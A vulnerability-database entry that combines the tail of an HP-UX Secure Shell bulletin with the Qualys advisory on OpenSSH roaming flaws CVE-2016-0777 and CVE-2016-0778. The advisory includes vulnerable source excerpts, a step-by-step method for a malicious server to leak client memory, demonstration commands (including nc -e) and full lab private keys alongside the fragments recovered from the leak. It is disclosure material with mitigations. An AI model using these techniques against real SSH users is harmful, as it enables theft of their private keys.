see:\nhttps://www.hp.com/go/swa\n\nAFFECTED VERSIONS\n\nHP-UX B.11.11\n==============\nSecure_Shell.SECURE_SHELL\naction: install revision A.06.20.010 or subsequent\n\nHP-UX B.11.23\n==============\nSecure_Shell.SECSH-CMN\nSecure_Shell.SECURE_SHELL\naction: install revision A.06.20.011 or subsequent\n\nHP-UX B.11.31\n==============\nSecure_Shell.SECSH-CMN\nSecure_Shell.SECURE_SHELL\naction: install revision A.06.20.012 or subsequent\n\nEND AFFECTED VERSIONS\n\nHISTORY: Version:1 (rev.1) - 7 November 2014 Initial Release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running HP software products should be applied in\naccordance with the customer\u0027s patch management policy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HP Services support channel.  For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hp.com. \n\nReport: To report a potential security vulnerability with any HP supported\nproduct, send Email to: security-alert@hp.com\n\nSubscribe: To initiate a subscription to receive future HP Security Bulletin\nalerts via Email:\nhttp://h41183.www4.hp.com/signup_alerts.php?jumpid=hpsc_secbulletins\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/secBullArchive/\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HP General Software\nHF = HP Hardware and Firmware\nMP = MPE/iX\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPI = Printing and Imaging\nPV = ProCurve\nST = Storage Software\nTU = Tru64 UNIX\nUX = HP-UX\n\nCopyright 2014 Hewlett-Packard Development Company, L.P. \nHewlett-Packard Company shall not be liable for technical or editorial errors\nor omissions contained herein. The information provided is provided \"as is\"\nwithout warranty of any kind. To the extent permitted by law, neither HP or\nits affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. \nHewlett-Packard Company and the names of Hewlett-Packard products referenced\nherein are trademarks of Hewlett-Packard Company in the United States and\nother countries. Other product and company names mentioned herein may be\ntrademarks of their respective owners",
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VAR-201601-0029

Vulnerability from variot - Updated: 2024-07-23 19:54

The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to a heap-based buffer-overflow vulnerability. Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. Successfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778

======================================================================== Contents ========================================================================

Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept

======================================================================== Summary ========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.

======================================================================== Information Leak (CVE-2016-0777) ========================================================================

Analysis

If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:

63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }

40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:

198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:

  • "out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";

  • "out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;

  • "out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:

  • Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.

  • Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.

  • Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.

Private Key Disclosure

We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:

  • the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;

  • private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();

  • temporary copies of in-memory private keys are freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments, we were able to partially or completely retrieve the OpenSSH client's private keys through this information leak (depending on the client's version, compiler, operating system, heap layout, and private keys):

(besides these three reasons, other reasons may exist, as suggested by the CentOS and Fedora examples at the end of this section)

  1. If a private SSH key is loaded from disk into memory by fopen() (or fdopen()), fgets(), and fclose(), a partial or complete copy of this private key may remain uncleansed in memory. Indeed, these functions manage their own internal buffers, and whether these buffers are cleansed or not depends on the OpenSSH client's libc (stdio) implementation, but not on OpenSSH itself.

  2. In all vulnerable OpenSSH versions, SSH's main() function calls load_public_identity_files(), which loads the client's public keys with fopen(), fgets(), and fclose(). Unfortunately, the private keys (without the ".pub" suffix) are loaded first and then discarded, but nonetheless buffered in memory by the stdio functions.

  3. In OpenSSH versions <= 5.6, the load_identity_file() function (called by the client's public-key authentication method) loads a private key with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems discussed in this section, although GNU/Linux is not affected because the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. BSD-based systems, on the other hand, are severely affected because they simply malloc()ate and free() stdio buffers. For interesting comments on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

  1. In OpenSSH versions >= 5.9, the client's load_identity_file() function (called by the public-key authentication method) read()s a private key in 1024-byte chunks that are appended to a growing buffer (a realloc()ating buffer) with buffer_append() (old API) or sshbuf_put() (new API). Unfortunately, the repeated calls to realloc() may leave partial copies of the private key uncleansed in memory.

  2. In OpenSSH < 6.7 (old API), the initial size of such a growing buffer is 4096 bytes: if a private-key file is larger than 4K, a partial copy of this private key may remain uncleansed in memory (a 3K copy in a 4K buffer). Fortunately, only the file of a very large RSA key (for example, an 8192-bit RSA key) can exceed 4K.

  3. In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is 256 bytes: if a private-key file is larger than 1K (the size passed to read()), a partial copy of this private key may remain uncleansed in memory (a 1K copy in a 1K buffer). For example, the file of a default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

  1. An OpenSSH growing-buffer that holds a private key is eventually freed by buffer_free() (old API) or sshbuf_free() (new API), and both functions attempt to cleanse the buffer with memset() or bzero() before they call free(). Unfortunately, an optimizing compiler may remove this memset() or bzero() call, because the buffer is written to, but never again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems explored in this section, because older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it. For detailed discussions of this issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are leaked in their encrypted form, but an attacker may attempt to crack the passphrase offline. On the other hand, SSH keys that are available only through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the undocumented option "UseRoaming no" to the system-wide configuration file (usually /etc/ssh/ssh_config), or per-user configuration file (~/.ssh/config), or command-line (-o "UseRoaming no").

  1. If an OpenSSH client is disconnected from an SSH server that offers roaming, it prints "[connection suspended, press return to resume]" on stderr, and waits for '\n' or '\r' on stdin (and not on the controlling terminal) before it reconnects to the server; advanced users may become suspicious and press Control-C or Control-Z instead, thus avoiding the information leak:

"pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume]^Z [1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the remote server are bound to trigger this reconnection automatically (upon reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH commands (for example, backup scripts and cron jobs) commonly employ public-key authentication and are therefore perfect targets for this information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls" [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar" tar: Removing leading `/' from member names [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] ... [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to transfer data, and can be forced by a malicious SSH server to output a control record that ends in '\n' (an error message in server-to-client mode, or file permissions in client-to-server mode); this '\n' is then read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and triggers an automatic reconnection that allows the information leak to be exploited without user interaction:

env ROAMING="scp_mode sleep:1" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp $ [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp [connection suspended, press return to resume][connection resumed] [connection suspended, press return to resume][exiting] lost connection

  1. Although a man-in-the-middle attacker can reset the TCP connection between an OpenSSH client and an OpenSSH server (which does not support roaming), it cannot exploit the information leak without breaking server host authentication or integrity protection, because it needs to:

  2. first, append the "resume@appgate.com" algorithm name to the server's initial key exchange message;

  3. second, in response to the client's "roaming@appgate.com" request, change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak must convince its target OpenSSH client to connect to a malicious server (an unlikely scenario), or compromise a trusted server (a more likely scenario, for a determined attacker).

  1. In the client, wait_for_roaming_reconnect() calls ssh_connect(), the same function that successfully established the first connection to the server; this function supports four different connection methods, but each method contains a bug and may fail to establish a second connection to the server:

  2. In OpenSSH >= 6.5 (released on January 30, 2014), the default ssh_connect_direct() method (a simple TCP connection) is called by wait_for_roaming_reconnect() with a NULL aitop argument, which makes it impossible for the client to reconnect to the server:

418 static int 419 ssh_connect_direct(const char host, struct addrinfo aitop, ... 424 int sock = -1, attempt; 425 char ntop[NI_MAXHOST], strport[NI_MAXSERV]; ... 430 for (attempt = 0; attempt < connection_attempts; attempt++) { ... 440 for (ai = aitop; ai; ai = ai->ai_next) { ... 470 } 471 if (sock != -1) 472 break; / Successful connection. / 473 } 474 475 / Return failure if we didn't get a successful connection. / 476 if (sock == -1) { 477 error("ssh: connect to host %s port %s: %s", 478 host, strport, strerror(errno)); 479 return (-1); 480 }

Incidentally, this error() call displays stack memory from the uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor [reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

  • The special ProxyCommand "-" communicates with the server through the client's stdin and stdout, but these file descriptors are close()d by packet_backup_state() at the beginning of wait_for_roaming_reconnect() and are never reopened again, making it impossible for the client to reconnect to the server. Moreover, the fgetc() that waits for '\n' or '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222 Pseudo-terminal will not be allocated because stdin is not a terminal. user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

  • The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that passes a connected file descriptor back to the client, but it calls fatal() while reconnecting to the server, because waitpid() returns ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after the first successful connection to the server) calls waitpid() before ssh_proxy_fdpass_connect() does:

1782 static void 1783 main_sigchld_handler(int sig) 1784 { .... 1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 || 1790 (pid < 0 && errno == EINTR)) 1791 ; 1792 1793 signal(sig, main_sigchld_handler); .... 1795 }

101 static int 102 ssh_proxy_fdpass_connect(const char host, u_short port, 103 const char proxy_command) 104 { ... 121 / Fork and execute the proxy command. / 122 if ((pid = fork()) == 0) { ... 157 } 158 / Parent. / ... 167 while (waitpid(pid, NULL, 0) == -1) 168 if (errno != EINTR) 169 fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume]Couldn't wait for child: No child processes

  • The method ssh_proxy_connect() fork()s a standard ProxyCommand that connects the client to the server, but if a disconnection occurs, and the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying read() returns EINTR) and the client exit()s before it can reconnect to the server:

$ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][exiting]

This behavior is intriguing, because (at least on Linux and BSD) the signal() call that installed the main_sigchld_handler() is supposed to be equivalent to a sigaction() call with SA_RESTART. However, portable versions of OpenSSH override signal() with mysignal(), a function that calls sigaction() without SA_RESTART.

This last mitigating factor is actually a race-condition bug that depends on the ProxyCommand itself: for example, the client never fails to reconnect to the server when using Socat as a ProxyCommand, but fails occasionally when using Netcat.

Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key

$ head -n 1 /etc/motd FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi /rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr +7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7 qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11 1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs= -----END RSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:1280" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-97ed9f59/infoleak

MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0 9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+ eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key

$ head -n 1 /etc/motd FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa -----BEGIN DSA PRIVATE KEY----- MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= -----END DSA PRIVATE KEY-----

env ROAMING="client_out_buf_size:768" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-9448bb7f/infoleak

MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe 4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY 8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4 cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+ iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To ...

env ROAMING="client_out_buf_size:1024" "pwd"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1 [connection suspended, press return to resume][connection resumed]

cat /tmp/roaming-279f5e2b/infoleak

... iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh PHatTfiy5p82Q8+TD60= ...

Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key

$ head -n 1 /etc/motd OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

